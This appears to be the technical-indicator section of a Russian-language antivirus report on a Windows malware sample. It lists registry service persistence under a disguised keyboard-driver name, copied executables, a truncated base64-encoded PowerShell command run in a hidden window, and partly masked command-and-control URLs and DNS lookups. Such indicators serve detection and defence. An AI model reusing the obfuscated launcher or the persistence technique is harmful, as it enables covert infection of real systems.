Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\EFS] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\KBDMLT47] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\KBDMLT47] 'ImagePath' = '"%WINDIR%\SysWOW64\w32topl\KBDMLT47.exe"'
- 'KBDMLT47' "%WINDIR%\SysWOW64\w32topl\KBDMLT47.exe"
- 'KBDMLT47' %WINDIR%\SysWOW64\w32topl\KBDMLT47.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD IABzAGUAVAAtAGkAVABFAE0AIAAoACcAVgAnACsAJwBhAHIAaQAnACsAJwBBACcAKwAnAEIATABFADoAMwAwAFEAYwBwACcAKwAnAE8AJwApACAAIAAoACAAWwBUAHkAUABlAF0AKAAiAHsAMwB9AHsAMQB9AHsAMgB9AHsAMA...
- %HOMEPATH%\q81ghaj\e5b9yvd\pus2kdqj.exe
- %WINDIR%\syswow64\w32topl\kbdmlt47.exe
- %HOMEPATH%\q81ghaj\e5b9yvd\pus2kdqj.exe в %WINDIR%\syswow64\w32topl\kbdmlt47.exe
- '15#.#2.75.74':443
- http://www.pa###amafe.com/slabbing/bBkdFoF96m/
- http://www.en###l-loo.com/agillawood/CZafm/
- http://www.39##09.com/biogenesis/ab/
- http://15#.##.75.74:443/oOBuPM/GFWEoEHEO6/tIgQDbA0ai6RCu/ via 15#.#2.75.74
- DNS ASK pa###amafe.com
- DNS ASK en###l-loo.com
- DNS ASK 39##09.com
- '%HOMEPATH%\q81ghaj\e5b9yvd\pus2kdqj.exe'
- '%WINDIR%\syswow64\w32topl\kbdmlt47.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD IABzAGUAVAAtAGkAVABFAE0AIAAoACcAVgAnACsAJwBhAHIAaQAnACsAJwBBACcAKwAnAEIATABFADoAMwAwAFEAYwBwACcAKwAnAE8AJwApACAAIAAoACAAWwBUAHkAUABlAF0AKAAiAHsAMwB9AHsAMQB9AHsAMgB9AHsAMA...' (со скрытым окном)